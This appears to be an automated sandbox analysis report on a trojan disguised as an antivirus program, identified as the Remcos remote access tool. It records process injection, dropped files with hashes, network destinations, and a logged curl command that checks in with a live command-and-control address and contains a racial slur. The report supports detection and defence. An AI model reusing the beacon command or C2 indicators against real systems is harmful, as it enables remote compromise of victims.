Malware Analysis Report

2024-11-13 18:49

Sample ID 240422-n4j88sbb4s
Target och_antivirus.exe
SHA256 69b943efb0b8f871b591ce1994bae3e550701a209f79c4d31e2451a69771b166
Tags
evasion trojan remcos remotehost rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

69b943efb0b8f871b591ce1994bae3e550701a209f79c4d31e2451a69771b166

Threat Level: Known bad

The file och_antivirus.exe was found to be: Known bad.

Malicious Activity Summary

evasion trojan remcos remotehost rat

Remcos

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Checks whether UAC is enabled

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-22 11:57

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-22 11:57

Reported

2024-04-22 11:59

Platform

win7-20240221-en

Max time kernel

118s

Max time network

124s

Command Line

"C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe"

Signatures

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2508 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe C:\Windows\system32\WerFault.exe
PID 2508 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe C:\Windows\system32\WerFault.exe
PID 2508 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe C:\Windows\system32\WerFault.exe

Processes

C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe

"C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2508 -s 356

Network

N/A

Files

memory/2508-0-0x0000000100000000-0x0000000101119000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-22 11:57

Reported

2024-04-22 11:59

Platform

win10v2004-20240412-en

Max time kernel

141s

Max time network

126s

Command Line

"C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1020 set thread context of 1172 N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe N/A
Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe N/A
Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe N/A
Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000_Classes\Local Settings C:\Windows\SysWOW64\explorer.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4600 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe
PID 4600 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe
PID 4600 wrote to memory of 2140 N/A C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe
PID 2140 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe
PID 2140 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe
PID 2140 wrote to memory of 1020 N/A C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe
PID 1020 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe C:\Windows\SysWOW64\cmd.exe
PID 1020 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe C:\Windows\SysWOW64\cmd.exe
PID 1020 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe C:\Windows\SysWOW64\cmd.exe
PID 1020 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe C:\Windows\SysWOW64\cmd.exe
PID 1172 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1172 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1172 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1172 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1720 wrote to memory of 4792 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 1720 wrote to memory of 4792 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 1720 wrote to memory of 4792 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4792 wrote to memory of 2132 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 4792 wrote to memory of 2132 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 4792 wrote to memory of 2132 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2132 wrote to memory of 3852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2132 wrote to memory of 3852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2132 wrote to memory of 3852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1172 wrote to memory of 1720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1720 wrote to memory of 1900 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 1720 wrote to memory of 1900 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 1720 wrote to memory of 1900 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe

"C:\Users\Admin\AppData\Local\Temp\och_antivirus.exe"

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe

C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe

C:\Users\Admin\AppData\Roaming\readermonitor_test_3\ptSrv.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\check1.vbs"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl http://94.156.66.107:9000/hooks/nigger?id=QUBJEIMO

C:\Windows\SysWOW64\curl.exe

curl http://94.156.66.107:9000/hooks/nigger?id=QUBJEIMO

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nihqlluvaxjcqgzkvtkrjgagmgkuam.vbs"

Network

Country Destination Domain Proto
US 13.89.179.14:443 tcp
US 8.8.8.8:53 159.113.53.23.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 21.114.53.23.in-addr.arpa udp
NL 23.62.61.155:443 www.bing.com tcp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 155.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
BE 2.17.197.240:80 tcp
US 8.8.8.8:53 17.143.109.104.in-addr.arpa udp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
NL 94.156.66.107:9000 tcp
US 8.8.8.8:53 155.57.33.178.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 219.138.73.23.in-addr.arpa udp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

memory/4600-0-0x00007FF72C590000-0x00007FF72D6A9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\6aaf70f6

MD5 045bb8ad2f52ecd9dd9a98c091a8104e
SHA1 5047bf498dad1537f2308cc03e090a6b43f64ccd
SHA256 ad0710db7f86bf4c43b98437ef1da37ac0f246658e6bb426bc6e4cb7a813ccd0
SHA512 ec0df109f03508c6662f32bab28a2d6c58d052f3303bb3b521d6b993453320fffd64194d60340354e299a850bfed87ea8588a4f2f495c7908948309528b4bde2

memory/4600-6-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp

memory/4600-8-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp

memory/4600-9-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp

memory/4600-26-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptSrv.exe

MD5 64179e64675e822559cac6652298bdfc
SHA1 cceed3b2441146762512918af7bf7f89fb055583
SHA256 c26db97858c427d92e393396f7cb7f9e7ed8f9ce616adcc123d0ec6b055b99c9
SHA512 ef740b35ea5190f8ee47776af1f15ebdd54d39c84da5665e64f67ae6dd0f4b181e955e9a35319a5d0bd764972562e8f2bc44dbdf83c3bedf05674eae902e7280

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\MSVCP140.dll

MD5 71a0aa2d05e9174cefd568347bd9c70f
SHA1 cb9247a0fa59e47f72df7d1752424b33a903bbb2
SHA256 fdb3d86c512adff90967cb860d02a4682850ab96727f0376e4d4836504c50e47
SHA512 6e65520528facaa4058720eb16d6bfdcc7bb36923b7e8e6551f3526709f0fabafab123999e618438e6abe7efed4a1332547cfc988f2b24b0e3d91198b95a911a

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\VCRUNTIME140.dll

MD5 16b26bc43943531d7d7e379632ed4e63
SHA1 565287de39649e59e653a3612478c2186096d70a
SHA256 346f72c9a7584c2ab6ce65cd38a616c77ebddc0bbab2274c4e89dd5e62237517
SHA512 b5b7b4b8c5ab4276a34956e43f586272b1803ec3609253fee1bcc0a549aed7ba11d47404b023f7b67af701726bab95cca55738e7bd5bca272eca5ac71bb418cc

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\wbxtrace.dll

MD5 c2b06a78b6c07a1371b6aed1dbf4fc37
SHA1 b8847693e7cd3637b1b400e71430cdf629de2e64
SHA256 9e2b2d67d0e70651a64a3febee9f2698d8a939633587fe973a30758368cffc04
SHA512 219965e4b3e9f237f75d9306bdf5a08c872cded973009da64c58221e1bbdbfda35e4861c4c0b6687fca7c67ef496b307695af5e1270f8d5c3cf71a3fc02c6411

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptusredt.dll

MD5 3c3e960d59cb413791fee1e944b6df72
SHA1 4aa6c90d81692642ca8266bf0d8e249ff3e3ad54
SHA256 88378c228d7827974fe6ec827837af7571290e129082e7070d4bff7a42f4ba67
SHA512 85b471aa2a066c6a779384ed102b895af108af51cd718bb834cda107f71bf5e6fcd8ecc77e9ea4fd7fd3ddbc10b1f57870a9bafcbbfa1be8e2ba224651d77aac

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\ptMgr.dll

MD5 2087eb2d3fb639933ebe0a0614fd5218
SHA1 c1a1b75c8e76e000b7045092bd11100904a72840
SHA256 725f50650cb9490027b633a1ff0ae166cb6fc42037dbe72d9a09dd65be323a1f
SHA512 3390536ed543529d01ed7d1616d36d6fde67d68bf6641f901ac5c081ede043943dacd3a7a0bf1729945be800d4ccda00c07511e1c23c7c33d9864be50645502e

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\WCLDll.dll

MD5 b3e030ab715a02f8864a79f552a247b7
SHA1 4b1c18370b6e8a69c5f8b3ff543375f74e6e58fa
SHA256 2a844750786ab6798e9a26de7f080802f709c0f12ba7a31545f0c2e449ac0955
SHA512 cd030a0a9e6109b27b5f5d3299024c222287487bc9fac1edd92b760425a939bc307b1d15801fec7e274bd8377b8dd9c7883674d1488af5f062a102275a373eda

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\cyclopedia.html

MD5 db3f3969e8a2f913fe3643d8465171b1
SHA1 736095ea1e02547a6df2586fffdbf31bb7d23656
SHA256 c207be09bf97912ed1271a4186bb626edc530c76f3e5edcac883a98946c41043
SHA512 0a2948bad6e3f6338fb44a727e0de4d268db6a6e5933331b54b12877da0f3b75a796cb32e86cd251b4afc4ca9df5aaccb04db1153b31fc77318ce8909b18d81b

C:\Users\Admin\AppData\Local\Temp\readermonitor_test_3\audiovisual.psd

MD5 c08c443520df3d30875ddc0e718f3346
SHA1 ff9ac03414433f597f58dce45dca0eb16d522964
SHA256 a22a7cecd7605ba16418b32079fe856ce4dc923b894986a472963aeb0fc0c6e1
SHA512 bf60ba1ee45f4f55851eb946d34bcd992379245e2ac7bd6da5e5c2bfc296b25ae88918d50d941710121028bfb8f9e32797ba6c885524bcc37426898b2ada1858

memory/2140-44-0x0000000074390000-0x000000007450B000-memory.dmp

memory/2140-45-0x00007FFD20230000-0x00007FFD20425000-memory.dmp

memory/1020-72-0x0000000074390000-0x000000007450B000-memory.dmp

memory/1020-73-0x00007FFD20230000-0x00007FFD20425000-memory.dmp

memory/1020-74-0x0000000074390000-0x000000007450B000-memory.dmp

memory/4600-75-0x00007FFD01FF0000-0x00007FFD02162000-memory.dmp

memory/1020-76-0x0000000074390000-0x000000007450B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7746d2f6

MD5 ec23407f1e09987b36550d5b2ebff6d9
SHA1 c462cdf2a3fe50e2bedae7c8b92b4961dbb1276a
SHA256 3ecb2ee304aebc28894984a1704a16d80efdf0b15810272179115b58078faf3c
SHA512 883fdd28a47053218b045755e3d1c1dc3334cf7f4a9735f00df2f6d9211816165779ec96ec63137746abc7cc39f4dbf2c03f6b8a5c0c5d8c642f6ef2690de473

memory/1172-78-0x0000000074390000-0x000000007450B000-memory.dmp

memory/1172-80-0x00007FFD20230000-0x00007FFD20425000-memory.dmp

memory/1172-83-0x0000000074390000-0x000000007450B000-memory.dmp

memory/1172-84-0x0000000074390000-0x000000007450B000-memory.dmp

memory/1172-86-0x0000000074390000-0x000000007450B000-memory.dmp

memory/1720-87-0x00007FFD20230000-0x00007FFD20425000-memory.dmp

memory/1720-88-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1720-90-0x0000000000F60000-0x0000000001393000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\check1.vbs

MD5 85a2ebad40c21ba1da77230265b5351f
SHA1 803822e08837ebda5de7dde963e4872ae2fc4c21
SHA256 b5c409cbb25690b000d9d36c3b5170c1e61fff3d89bdaeadf0166ae28b0fdff9
SHA512 77374eb3d9632c45c25c997380eab1ee338fbe659a24679b3cf28e76d67ffa71e2d2ea326181909d06970dca0e92b5528c1e7f9c866493162fd77170f87ea83a

memory/1720-95-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1720-96-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1720-97-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1720-98-0x0000000000400000-0x0000000000484000-memory.dmp

memory/1720-102-0x0000000000400000-0x0000000000484000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nihqlluvaxjcqgzkvtkrjgagmgkuam.vbs

MD5 5969db124f530f24b0e1b305ca5a8291
SHA1 5eb79a70cc356a20ba39913489a5cdca36f83011
SHA256 3a4ae3a89b9c1d79fbef06dd969b1307837c0378966c5f7ceddafb1e4660a072
SHA512 0297ea245560c1b5fe64f5a3cd7769ea4e9f09dfc4cc4f16c8d96c5b5d846c8982458991aa143ea5a103436a03c5e7d5b7769b2b87bca5565e856de960e2e290